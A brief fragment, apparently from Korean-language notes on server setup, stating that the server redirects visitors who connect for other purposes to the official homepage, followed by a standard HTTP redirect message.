다른 목적으로 서버에 접속할 경우에는 공식 홈페이지로 리다이렉트 되도록 설정했다. HTTP Response
The document has moved here.